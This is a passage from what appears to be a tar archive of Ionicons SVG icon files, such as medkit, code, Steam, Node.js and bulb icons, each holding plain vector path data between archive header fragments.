4.5c3.8.2 6.6 3.5 6.2 7.2z"/></svg>ionicons/svg/md-medkit.svg000064400000000452151701353760011571 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 144v-39.6C352 82 334 64 311.6 64H200.4C178 64 160 82 160 104.4V144H48v263.6C48 430 66 448 88.4 448h335.2c22.4 0 40.4-18 40.4-40.4V144H352zm-152-40h112v40H200v-40zm136 224h-56v56h-48v-56h-56v-48h56v-56h48v56h56v48z"/></svg>ionicons/svg/md-remove.svg000064400000000142151701353760011605 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 235h320v42H96z"/></svg>ionicons/svg/ios-code.svg000064400000001222151701353760011414 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M332 142.7c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7L310 155.9c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l95.8 91.5-95.8 91.5c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l13.8 13.2c1.2 1.1 2.6 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l114.2-109c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L332 142.7zM204 160.2c0-1.6-.7-3.2-1.9-4.3l-13.8-13.2c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7l-114.2 109c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l114.2 109c1.2 1.1 2.7 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l13.8-13.2c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L106.3 256l95.8-91.5c1.2-1.1 1.9-2.7 1.9-4.3z"/></svg>ionicons/svg/md-fastforward.svg000064400000000214151701353760012632 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 256L262.4 110v292L480 256zM32 110v292l217.6-146L32 110z"/></svg>ionicons/svg/ios-paper-plane.svg000064400000000661151701353760012714 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M452.1 49L52.3 265.3c-6 3.3-5.6 12.1.6 14.9l68.2 25.7c4 1.5 7.2 4.5 9 8.4l53 109.1c1 4.8 9.9 6.1 10 1.2l-8.1-90.2c.5-6.7 3-13 7.3-18.2l207.3-203.1c1.2-1.2 2.9-1.6 4.5-1.3 3.4.8 4.8 4.9 2.6 7.6L228 338c-4 6-6 11-7 18l-10.7 77.9c.9 6.8 6.2 9.4 10.5 3.3l38.5-45.2c2.6-3.7 7.7-4.5 11.3-1.9l99.2 72.3c4.7 3.5 11.4.9 12.6-4.9L463.8 58c1.5-6.8-5.6-12.3-11.7-9z"/></svg>ionicons/svg/logo-steam.svg000064400000001736151701353760011773 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M478.8 208.2c0 19.8-16.1 36-36 36-19.8 0-36-16.1-36-36 0-19.8 16.1-36 36-36 19.8 0 36 16.2 36 36zM442.6 139c-38.1 0-69 30.7-69.4 68.7l-43.2 62c-1.8-.2-3.6-.3-5.4-.3-9.7 0-18.7 2.7-26.4 7.3L102.4 198c-5.1-23.2-25.9-40.7-50.6-40.7C23.3 157.2 0 180.6 0 209.1s23.3 51.8 51.8 51.8c9.7 0 18.7-2.7 26.4-7.3L274 332.2c5.1 23.3 25.8 40.8 50.6 40.8 26.8 0 49-20.6 51.5-46.7l66.5-48.6c38.3 0 69.4-31 69.4-69.3S480.9 139 442.6 139zm0 22.9c25.7 0 46.5 20.9 46.5 46.5 0 25.7-20.9 46.4-46.5 46.4-25.7 0-46.5-20.8-46.5-46.4 0-25.7 20.8-46.5 46.5-46.5zm-390.8 9c14.6 0 27.3 8.2 33.7 20.2l-18.9-7.6v.1c-15.3-5.5-32.2 2-38.3 17.1-6.1 15.2.9 32.3 15.7 38.9v.1l16.1 6.4c-2.6.6-5.4.9-8.2.9-21.1 0-38.1-17-38.1-38.1-.1-20.9 16.9-38 38-38zm272.8 112.2c21.1 0 38.1 17 38.1 38.1s-17 38.1-38.1 38.1c-14.7 0-27.4-8.2-33.7-20.3 6.3 2.5 12.5 5 18.8 7.6 15.5 6.2 33.2-1.3 39.4-16.8 6.2-15.5-1.3-33.1-16.9-39.4l-15.9-6.4c2.8-.5 5.5-.9 8.3-.9z"/></svg>ionicons/svg/ios-moon.svg000064400000000644151701353760011461 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M401.4 354.2c-2.9.1-5.8.2-8.7.2-47.9 0-93-18.9-126.8-53.4-33.9-34.4-52.5-80.1-52.5-128.8 0-27.7 6.1-54.5 17.5-78.7 3.1-6.6 9.3-16.6 13.6-23.4 1.9-2.9-.5-6.7-3.9-6.1-6 .9-15.2 2.9-27.7 6.8C135.1 95.5 80 168.7 80 255c0 106.6 85.1 193 190.1 193 58 0 110-26.4 144.9-68.1 6-7.2 11.5-13.8 16.4-21.8 1.8-3-.7-6.7-4.1-6.1-8.5 1.7-17.1 1.8-25.9 2.2z"/></svg>ionicons/svg/md-color-palette.svg000064400000001361151701353760013066 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64C150.401 64 64 150.401 64 256c0 105.604 86.401 192 192 192 18.136 0 32-13.864 32-32 0-8.531-3.198-16-8.531-21.333-5.333-5.334-8.531-12.803-8.531-21.334 0-18.135 13.864-32 32-32h38.396c58.667 0 106.667-48 106.667-106.666C448 140.802 361.604 64 256 64zM138.667 256c-18.136 0-32-13.864-32-32s13.864-32 32-32c18.135 0 32 13.864 32 32s-13.865 32-32 32zm64-85.333c-18.136 0-32-13.865-32-32 0-18.136 13.864-32 32-32 18.135 0 32 13.864 32 32 0 18.135-13.865 32-32 32zm106.666 0c-18.135 0-32-13.865-32-32 0-18.136 13.865-32 32-32 18.136 0 32 13.864 32 32 0 18.135-13.864 32-32 32zm64 85.333c-18.135 0-32-13.864-32-32s13.865-32 32-32c18.136 0 32 13.864 32 32s-13.864 32-32 32z"/></svg>ionicons/svg/ios-folder-open.svg000064400000000611151701353760012715 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 119c0-13.3-9.4-23-22.8-23H230.9c-2.8 0-4.3-.6-6.1-2.4l-22.5-22.5-.2-.2c-4.9-4.6-8.9-6.9-17.3-6.9H88.7C74.9 64 64 74.3 64 87v73h384v-41zM64 188h-8.3c-12.8 0-25.3 5.1-23.5 24.3C34 231.5 55.7 423 55.7 423c2.7 17.8 11.7 25 25 25h352.5c12.7 0 21-7.8 23-25 0 0 22.2-184.9 23.6-205.5 1.4-20.5-8.9-29.5-23.6-29.5H64z"/></svg>ionicons/svg/md-cog.svg000064400000002314151701353760011063 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 288v-64h-34.7c-2-12.1-5.2-23.8-9.3-35l30-17.3-32-55.4-30 17.3c-7.7-9.3-16.3-17.9-25.6-25.6l17.3-30-55.4-32L323 76c-11.2-4.2-22.9-7.3-35-9.3V32h-64v34.7c-12.1 2-23.8 5.2-35 9.3l-17.3-30-55.4 32 17.3 30c-9.3 7.7-17.9 16.3-25.6 25.6l-30-17.3-32 55.4L76 189c-4.2 11.2-7.3 22.9-9.3 35H32v64h34.7c2 12.1 5.2 23.8 9.3 35l-30 17.3 32 55.4 30-17.3c7.7 9.3 16.3 17.9 25.6 25.6l-17.3 30 55.4 32 17.3-30c11.2 4.2 22.9 7.3 35 9.3V480h64v-34.7c12.1-2 23.8-5.2 35-9.3l17.3 30 55.4-32-17.3-30c9.3-7.7 17.9-16.3 25.6-25.6l30 17.3 32-55.4-30-17.3c4.2-11.2 7.3-22.9 9.3-35H480zm-224-64c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM141.2 343c-18.3-24.2-29.2-54.3-29.2-87 0-6.1.4-12.1 1.1-18l46.9 17.1v.9c0 17.8 4.9 34.5 13.3 48.8L141.2 343zm40.7-148L135 177.9c20.1-31.1 51.8-53.9 89-62.3v49.9c-16.6 5.9-31.1 16.2-42.1 29.5zM256 400c-23.7 0-46-5.7-65.8-15.9l32.1-38.2c10.5 3.9 21.8 6.1 33.7 6.1s23.2-2.2 33.7-6.1l32.1 38.2C302 394.3 279.7 400 256 400zm32-234.5v-49.9c37.2 8.4 68.9 31.2 89 62.3L330.1 195c-11-13.3-25.5-23.6-42.1-29.5zM370.8 343l-32.1-38.2c8.4-14.3 13.3-31 13.3-48.8v-.9l46.9-17.1c.7 5.9 1.1 11.9 1.1 18 0 32.7-10.9 62.8-29.2 87z"/></svg>ionicons/svg/md-apps.svg000064400000000420151701353760011252 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 176h80V96H96v80zm120 240h80v-80h-80v80zm-120 0h80v-80H96v80zm0-120h80v-80H96v80zm120 0h80v-80h-80v80zM336 96v80h80V96h-80zm-120 80h80V96h-80v80zm120 120h80v-80h-80v80zm0 120h80v-80h-80v80z"/></svg>ionicons/svg/md-star-outline.svg000064400000000765151701353760012751 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M458 210.409l-145.267-12.476L256 64l-56.743 133.934L54 210.409l110.192 95.524L131.161 448 256 372.686 380.83 448l-33.021-142.066L458 210.409zM272.531 345.286L256 335.312l-16.53 9.973-59.988 36.191 15.879-68.296 4.369-18.79-14.577-12.637-52.994-45.939 69.836-5.998 19.206-1.65 7.521-17.75 27.276-64.381 27.27 64.379 7.52 17.751 19.208 1.65 69.846 5.998-52.993 45.939-14.576 12.636 4.367 18.788 15.875 68.299-59.984-36.189z"/></svg>ionicons/svg/md-warning.svg000064400000000224151701353760011756 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 464h448L256 48 32 464zm248-64h-48v-48h48v48zm0-80h-48v-96h48v96z"/></svg>ionicons/svg/md-bowtie.svg000064400000000774151701353760011614 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M276 304h-40c-15.4 0-28-12.6-28-28v-40c0-15.4 12.6-28 28-28h40c15.4 0 28 12.6 28 28v40c0 15.4-12.6 28-28 28zM176 280v-48c0-18.2 8.7-34.4 22.2-44.6C192 160 96 96 64 96c-17.6 0-32 14.4-32 32v256c0 17.6 14.3 32 32 32 32 0 128-64 134.2-91.4-13.5-10.2-22.2-26.4-22.2-44.6zM448 96c-32 0-128 64-134.2 91.4 13.5 10.2 22.2 26.4 22.2 44.6v48c0 18.2-8.7 34.4-22.2 44.6C320 352 416 416 448 416c17.7 0 32-14.4 32-32V128c0-17.6-14.4-32-32-32z"/></svg>ionicons/svg/md-jet.svg000064400000000513151701353760011074 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 32s-23.4-.7-59.3 27.1C404 72 244.9 186.8 244.9 186.8l-168.8-4.2L32 222l109.8 55.2-8.6 10.8-87.9.1-7.2 40.5 63.1 48.7-26.6 59.8 60-26.4 48.7 63.1 40.5-7.2.1-87.8 10.9-8.5L290.1 480l39.3-44.1-4.2-168.7S440.1 108.2 453 91.6C480.7 55.5 480 32 480 32z"/></svg>ionicons/svg/md-female.svg000064400000000444151701353760011546 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M400 176c0-79.5-64.5-144-144-144S112 96.5 112 176c0 71.4 51.9 130.6 120 142v50h-72v48h72v64h48v-64h72v-48h-72v-50c68.1-11.4 120-70.6 120-142zm-240 0c0-52.9 43.1-96 96-96s96 43.1 96 96-43.1 96-96 96-96-43.1-96-96z"/></svg>ionicons/svg/ios-trophy.svg000064400000001616151701353760012036 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450 100h-66V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v20H62c-7.7 0-14 6.3-14 14 0 41.3 7.8 66 22.6 90.4 13.6 22.4 32.9 36.2 56.3 40.3 2.8.5 5.1 2.3 6.2 4.9 6.2 15.4 20.2 34.8 51.1 52.2 20.2 11.4 36.9 18.3 51.7 21.6 3.6.8 6.2 4.1 6.2 7.8V412c0 4.4-3.6 8-8 8h-65.6c-7.5 0-14 5.8-14.4 13.3-.4 8 6 14.7 14 14.7h175.6c7.5 0 14-5.8 14.4-13.3.4-8-6-14.7-14-14.7h-66c-4.4 0-8-3.6-8-8v-80.7c0-3.7 2.6-7 6.2-7.8 14.7-3.3 31.5-10.3 51.7-21.6 30.9-17.4 44.9-36.8 51.1-52.2 1.1-2.6 3.4-4.5 6.2-4.9 23.4-4.1 42.7-17.9 56.3-40.3C456.2 180 464 155.3 464 114c0-7.7-6.3-14-14-14zM128 210.6c0 2.8-2.8 4.8-5.4 3.8-12.8-4.9-23.2-14.7-30.6-28.9-5.8-11-12.6-21.4-15.1-48.8-.4-4.7 3.3-8.7 8-8.7H120c4.4 0 8 3.6 8 8v74.6zm292-25.1c-7.4 14.2-17.8 24-30.6 28.9-2.6 1-5.4-1-5.4-3.8V136c0-4.4 3.6-8 8-8h35.1c4.7 0 8.4 4 8 8.7-2.5 27.4-9.4 37.8-15.1 48.8z"/></svg>ionicons/svg/md-megaphone.svg000064400000000751151701353760012261 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M382.1 143.4l-23.1 23c14.7 14.7 23.9 35.2 23.9 57.6s-9.2 42.9-23.9 57.6l23.1 23.1c20.6-20.6 33.4-49.2 33.4-80.6s-12.8-60.1-33.4-80.7z"/><path d="M428.2 99l-22.7 22.7c26.1 26.1 42.3 62.4 42.3 102.3 0 39.8-16.1 76.1-42.3 102.3l22.7 22.7c31.9-32.1 51.8-76.3 51.8-125s-19.8-92.9-51.8-125zM320 184.1V80h-32l-96 80H64l-32 16v112l32 16 80 128h48l-30-128h30l96 64h32V263.9c18.4-1.7 32-18.9 32-39.9s-13.6-38.2-32-39.9z"/></svg>ionicons/svg/ios-chatboxes.svg000064400000000701151701353760012463 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M425.9 170.4H204.3c-21 0-38.1 17.1-38.1 38.1v154.3c0 21 17.1 38 38.1 38h126.8c2.8 0 5.6 1.2 7.6 3.2l63 58.1c3.5 3.4 9.3 2 9.3-2.9v-50.6c0-6 3.8-7.9 9.8-7.9h1c21 0 42.1-16.9 42.1-38V208.5c.1-21.1-17-38.1-38-38.1z"/><path d="M174.4 145.9h177.4V80.6c0-18-14.6-32.6-32.6-32.6H80.6C62.6 48 48 62.6 48 80.6v165.2c0 18 14.6 32.6 32.6 32.6h61.1v-99.9c.1-18 14.7-32.6 32.7-32.6z"/></svg>ionicons/svg/md-cut.svg000064400000001361151701353760011107 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M203.1 158.3c5.2-11.2 8.1-23.5 8.1-36.7 0-49.5-40.1-89.6-89.6-89.6S32 72.1 32 121.6s40.1 89.6 89.6 89.6c13.2 0 25.5-2.9 36.7-8.1l52.9 52.9-52.9 52.9c-11.2-5.2-23.5-8.1-36.7-8.1-49.5 0-89.6 40.1-89.6 89.6S72.1 480 121.6 480s89.6-40.1 89.6-89.6c0-13.2-2.9-25.5-8.1-36.7l52.9-52.9 156.8 156.8H480v-22.4L203.1 158.3zm-81.5 8.1c-24.6 0-44.8-19.9-44.8-44.8S97 76.8 121.6 76.8s44.8 19.9 44.8 44.8-20.2 44.8-44.8 44.8zm0 268.8c-24.6 0-44.8-19.9-44.8-44.8s20.2-44.8 44.8-44.8 44.8 19.9 44.8 44.8-20.2 44.8-44.8 44.8zm134.4-168c-6.3 0-11.2-4.9-11.2-11.2 0-6.3 4.9-11.2 11.2-11.2 6.3 0 11.2 4.9 11.2 11.2 0 6.3-4.9 11.2-11.2 11.2zM412.8 54.4L278.4 188.8l44.8 44.8L480 76.8V54.4h-67.2z"/></svg>ionicons/svg/ios-pizza.svg000064400000001576151701353760011653 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M446.6 109.8c-2.7-7.3-14.2-14-25-18.7-27-11.6-73.5-27.1-164.9-27.1-94 0-137.5 14.5-165 27.1-12.3 5.7-24.2 12.5-26.7 19.5-2.9 8 .8 15.3 4.1 21.8l1.5 3c3.1 6.4 12.9 12.8 22.8 13.8L251.3 445c1 1.9 3.1 3.1 5.3 3.1 2.2 0 4.3-1.2 5.3-3.1l157.6-295.1c5.6-.6 17.2-2.6 23.1-14.3 3.9-7.7 7.4-16.7 4-25.8zm-266 112.8c-1.2 3.5-2.9 6.6-5.1 9.5-1.8 2.3-5.3 2-6.7-.6-8.8-16.6-17.3-32.4-24.8-46.5-1.4-2.6.5-5.8 3.4-5.9h1c3.7 0 7.3.6 10.9 1.7 8.6 2.8 15.5 8.7 19.6 16.6 3.9 7.9 4.6 16.8 1.7 25.2zm116.6 97.5c-.8 1.4-2.3 2.3-3.9 2.1-17-1.8-30.2-15.8-30.2-32.8 0-18.2 15.2-33 33.9-33 9.9 0 19 4 25.3 11 1.1 1.2 1.3 3.1.5 4.5l-25.6 48.2zm35.2-176.8c-5.7 4.1-12.4 6.3-19.5 6.3-1.6 0-3.3-.1-4.9-.3-8.7-1.2-16.3-5.7-21.5-12.5-2-2.6-3.6-5.5-4.6-8.4-1-2.7 1.2-5.5 4-5.3 18.3 1 35.3 2.9 51.4 5.9 3.1.6 4.5 4.1 2.7 6.7-2 2.8-4.6 5.4-7.6 7.6z"/></svg>ionicons/svg/logo-vk.svg000064400000002057151701353760011277 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M427 299.1c-8.6-8-15.7-12.8-18.5-20.5-1-2.7-1.3-4.3-1-7.6.4-6 5.5-13.8 39.6-58.9 14.2-18.8 32.7-41.5 32.7-58.5 0-11-4.5-13.7-20.8-13.7h-74c-6.5 0-10.9 8.9-13.6 16.4-2.8 7.5-8.2 19-21.4 43.8-13.8 26-32.3 48.8-40 52.4-2.2 1-3.6 1-5.5.8-1.2-.1-3.8-.8-6.2-3.7-2.3-2.8-5.9-7.7-4.5-53.9.8-25.8 3.7-43.8-1.7-54.8-1.1-2.2-3.5-4.5-4.8-5.5-7.7-5.5-29.4-7.5-48-7.5s-32.9 2.1-40 4.2c-7.1 2.1-15.1 6.9-18.9 12-2.5 3.3 4.3 1.6 10.9 4.6 4 1.8 9.3 4.6 11.2 9.3 8 20.8 9.7 37.3 5.3 66.7-1.1 7.2-2.3 18.5-6.6 25.5-2.4 3.9-7.9 3.6-9.5 3.1-16.1-4.9-28.6-26-41.2-50.7-13.1-25.8-19.8-43.9-23.4-51.3s-9.1-11.4-18.4-11.4H42.3c-5.2 0-9.9 4.3-9.9 9 0 11 18.6 43 29.8 66 20.2 41.4 46.7 81.4 82.4 120.2C182 376.3 233 384 249.3 384s29-.6 33.3-1.5c2-.4 4.1-1.3 5.7-2.5 7.1-5.5 5.8-16 6.3-24.2.5-8.4 1.4-19.5 7-26 5.2-6.1 11.1-7.8 18.6-4.1 7 3.5 12 9.4 17.2 15.1 10.1 10.9 19.3 23.2 31.3 32.2 5.5 4.1 11.5 6.7 17.9 8.7 8.5 2.6 16.5 2.7 25.3 2.3 9.7-.4 17-.3 29-.3s27.7.5 33.1-3.5c2.6-2 6-5 6-11.3 0-11.9-12.2-31.7-53-69.8z"/></svg>ionicons/svg/ios-magnet.svg000064400000001104151701353760011754 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M462.2 261.9L289.6 89.3C263 62.7 227.4 48 189.5 48c-38 0-73.5 14.7-100.2 41.3C62.7 116 48 151.5 48 189.5S62.7 263 89.3 289.6l172.6 172.6c1.1 1.1 2.7 1.8 4.3 1.8 1.6 0 3.1-.6 4.3-1.8l57.5-57.5c2.4-2.4 2.4-6.2 0-8.5L165.2 233.3c-13-13-21.2-27.8-22.9-41.7-1.8-13.6 2.7-25.8 13.1-36.3 9.9-9.9 22.4-14.3 36-12.6 14.3 1.7 29.2 9.7 42 22.5L396.2 328c2.4 2.4 6.2 2.4 8.5 0l57.5-57.5c2.4-2.4 2.4-6.2 0-8.6zM275.8 380.2l20.2 20.2-29.8 29.8-20.3-20.2 29.9-29.8zM400.4 296l-20.2-20.2L410 246l20.2 20.2-29.8 29.8z"/></svg>ionicons/svg/ios-crop.svg000064400000001015151701353760011445 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M142 64c-7.7 0-14 6.3-14 14v20c0 7.7 6.3 14 14 14s14-6.3 14-14V78c0-7.7-6.3-14-14-14zM156 342V190c0-7.7-6.3-14-14-14s-14 6.3-14 14v166c0 15.5 12.5 28 28 28h166c7.7 0 14-6.3 14-14s-6.3-14-14-14H170c-7.7 0-14-6.3-14-14zM434 356h-20c-7.7 0-14 6.3-14 14s6.3 14 14 14h20c7.7 0 14-6.3 14-14s-6.3-14-14-14z"/><path d="M64 142c0 7.7 6.3 14 14 14h264c7.7 0 14 6.3 14 14v264c0 7.7 6.3 14 14 14s14-6.3 14-14V156c0-15.5-12.5-28-28-28H78c-7.7 0-14 6.3-14 14z"/></svg>ionicons/svg/logo-nodejs.svg000064400000003205151701353760012135 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.917 480a32.536 32.536 0 0 1-16.633-4.599l-52.985-32.44c-7.914-4.562-4.023-6.203-1.443-7.141 10.565-3.781 13.713-5.657 24.947-12.285 1.206-.667 2.747-.424 3.955.322l39.71 23.504c1.476.85 3.557.85 4.931 0l155.188-92.246c1.475-.877 2.415-2.646 2.415-4.441V163.869c0-1.85-.94-3.592-2.449-4.528l-155.12-94.672c-1.478-.894-3.421-.894-4.898 0L98.516 159.374c-1.544.903-2.516 2.698-2.516 4.495v186.805c0 1.813.972 3.513 2.481 4.389l39.929 23.972c23.61 12.204 37.59-.17 37.59-14.611V180.725c0-2.652 2.047-4.727 4.596-4.727h22.809c2.515 0 4.597 2.072 4.597 4.727v183.698c0 32.563-19.353 51.248-49.199 51.248-9.156 0-16.397 0-36.552-10.279l-41.584-24.781C70.371 374.459 64 362.965 64 350.656V161.191c0-12.316 6.371-23.784 16.665-29.917L239.35 36.41c10.027-5.88 23.374-5.88 33.332 0l158.65 94.864C441.63 137.423 448 148.899 448 161.191v189.465c0 12.309-6.37 23.75-16.668 29.953l-158.65 94.774a32.52 32.52 0 0 1-16.698 4.599l-.067.018z"/><path d="M304.943 351.998c-64.61 0-84.006-31.61-84.006-59.271 0-2.629 2.048-4.729 4.562-4.729h20.521c2.282 0 4.227 1.7 4.562 4.016 3.084 21.602 16.748 31.15 54.324 31.15 33.399 0 47.091-10.346 47.091-28.684 0-10.592-3.463-18.424-55.407-23.697-43.427-4.441-70.288-14.373-70.288-50.295 0-33.135 26.996-52.49 72.234-52.49 46.128 0 76.462 14 79.173 50.829.102 1.337-.368 2.629-1.241 3.644-.871.965-2.078 1.527-3.353 1.527h-20.591c-2.146 0-4.024-1.562-4.459-3.713-4.401-16.953-16.97-23.402-49.563-23.402-36.486 0-40.746 12.753-40.746 22.607 0 11.963 5.031 15.441 54.294 22.172 48.761 6.663 71.933 16.117 71.933 51.552 0 35.781-28.808 58.783-79.075 58.783l.035.001z"/></svg>ionicons/svg/ios-arrow-down.svg000064400000000370151701353760012604 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 294.1L383 167c9.4-9.4 24.6-9.4 33.9 0s9.3 24.6 0 34L273 345c-9.1 9.1-23.7 9.3-33.1.7L95 201.1c-4.7-4.7-7-10.9-7-17s2.3-12.3 7-17c9.4-9.4 24.6-9.4 33.9 0l127.1 127z"/></svg>ionicons/svg/md-nutrition.svg000064400000000574151701353760012354 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M357.2 235.6L274.7 153h-.8c-8.1-6-18.2-10.3-28.4-10.3-13.7 0-26.1 6.3-34.3 16.3h-.6L53 414.1v.8c-3 6.2-5 13.3-5 20.8 0 24.4 19.7 44.3 44.3 44.3 9.4 0 18-2.9 27.4-9.1l232.9-168.1c10.9-8.3 17.4-21.6 17.4-36 0-12-4.7-23.2-12.8-31.2zM464 145.1l-29.2-49-36.6 20.3 31.5-55.9L380.6 32l-67.3 127.8 41.3 41.4z"/></svg>ionicons/svg/ios-bulb.svg000064400000001471151701353760011434 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M404 188.9C404 111 333.9 48 256 48s-148 63.1-148 140.9c0 31 13.2 56.1 30.2 80.1h-.3c10.9 15 21.4 17.7 31.5 35 14.7 25.2 18.1 40.7 18.7 55.7.4 8.6 7.5 15.3 16 15.3h8.9c2.2 0 4-1.8 4-4v-94.5c0-5-1.2-9.8-3.4-14.3l-21-42c-3.5-7 1.6-15.2 9.4-15.2 4 0 7.7 2.3 9.4 5.9l25.3 51.4c2.2 4.4 3.3 9.2 3.3 14.1V371c0 2.2 1.8 4 4 4h24c2.2 0 4-1.8 4-4v-94.6c0-4.9 1.1-9.7 3.3-14.1l25.4-51.6c1.7-3.4 5.2-5.6 9-5.6 7.5 0 12.4 7.9 9 14.6l-21.3 42.6c-2.2 4.5-3.4 9.4-3.4 14.3V371c0 2.2 1.8 4 4 4h10c8.5 0 15.5-6.6 16-15 .9-15.4 4.7-32.3 18.4-56 10.1-17.3 20.6-20 31.5-35h-.1c17-24 30.2-49.1 30.2-80.1zM238 464h36c7.7 0 14-6.3 14-14s-6.3-14-14-14h-36c-7.7 0-14 6.3-14 14s6.3 14 14 14zM218 420h76c7.7 0 14-6.3 14-14s-6.3-14-14-14h-76c-7.7 0-14 6.3-14 14s6.3 14 14 14z"/></svg>ionicons/svg/md-fitness.svg000064400000000561151701353760011770 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434.3 315.5l29.7-29.7-29.7-29.8-74.3 74.3L181.7 152 256 77.7 226.3 48l-29.7 29.7L166.8 48l-44.5 44.5-29.8-29.7-29.7 29.7 29.7 29.7L48 166.8l29.7 29.7L48 226.3 77.7 256l74.3-74.3L330.3 360 256 434.3l29.7 29.7 29.7-29.7 29.7 29.7 44.5-44.5 29.7 29.7 29.7-29.7-29.7-29.7 44.5-44.5-29.5-29.8z"/></svg>ionicons/svg/ios-pin.svg000064400000000424151701353760011273 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c-79.5 0-144 59.9-144 133.7 0 104 144 282.3 144 282.3s144-178.3 144-282.3C400 107.9 335.5 48 256 48zm0 190.9c-25.9 0-46.9-21-46.9-46.9s21-46.9 46.9-46.9 46.9 21 46.9 46.9-21 46.9-46.9 46.9z"/></svg>ionicons/svg/md-images.svg000064400000001341151701353760011557 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M457.6 140.2l-82.5-4-4.8-53.8c-1-11.3-11.1-19.2-22.9-18.3L51.5 88.4c-11.8 1-20.3 10.5-19.4 21.7l21.2 235.8c1 11.3 11.2 19.2 22.9 18.3l15-1.2-2.4 45.8c-.6 12.6 9.2 22.8 22.4 23.5L441.3 448c13.2.6 24.1-8.6 24.8-21.2L480 163.5c.6-12.5-9.3-22.7-22.4-23.3zm-354.9 5.3l-7.1 134.8L78.1 305 62 127v-.5-.5c1-5 4.4-9 9.6-9.4l261-21.4c5.2-.4 9.7 3 10.5 7.9 0 .2.3.2.3.4 0 .1.3.2.3.4l2.7 30.8-219-10.5c-13.2-.4-24.1 8.8-24.7 21.3zm334 236.9l-84.8-99.5-37.4 34.3-69.2-80.8-122.7 130.7L133 168v-.4c1-5.4 6.2-9.3 11.9-9l291.2 14c5.8.3 10.3 4.7 10.4 10.2 0 .2.3.3.3.5l-10.1 199.1z"/><path d="M384 256c17.6 0 32-14.4 32-32s-14.3-32-32-32c-17.6 0-32 14.3-32 32s14.3 32 32 32z"/></svg>ionicons/svg/logo-linkedin.svg000064400000001013151701353760012443 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M417.2 64H96.8C79.3 64 64 76.6 64 93.9V415c0 17.4 15.3 32.9 32.8 32.9h320.3c17.6 0 30.8-15.6 30.8-32.9V93.9C448 76.6 434.7 64 417.2 64zM183 384h-55V213h55v171zm-25.6-197h-.4c-17.6 0-29-13.1-29-29.5 0-16.7 11.7-29.5 29.7-29.5s29 12.7 29.4 29.5c0 16.4-11.4 29.5-29.7 29.5zM384 384h-55v-93.5c0-22.4-8-37.7-27.9-37.7-15.2 0-24.2 10.3-28.2 20.3-1.5 3.6-1.9 8.5-1.9 13.5V384h-55V213h55v23.8c8-11.4 20.5-27.8 49.6-27.8 36.1 0 63.4 23.8 63.4 75.1V384z"/></svg>ionicons/svg/md-color-filter.svg000064400000000466151701353760012722 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M441.8 120.1l-49.9-49.9c-8.3-8.3-21.8-8.3-30.1 0l-66.6 66.6L254.1 96 224 126.1l30.3 30.3L64 346.7V448h101.3l190.3-190.3 30.3 30.3 30.1-30.1-41-41 66.6-66.6c8.5-8.4 8.5-21.8.2-30.2zM147.6 405.4l-41-41 171.9-171.9 41 41-171.9 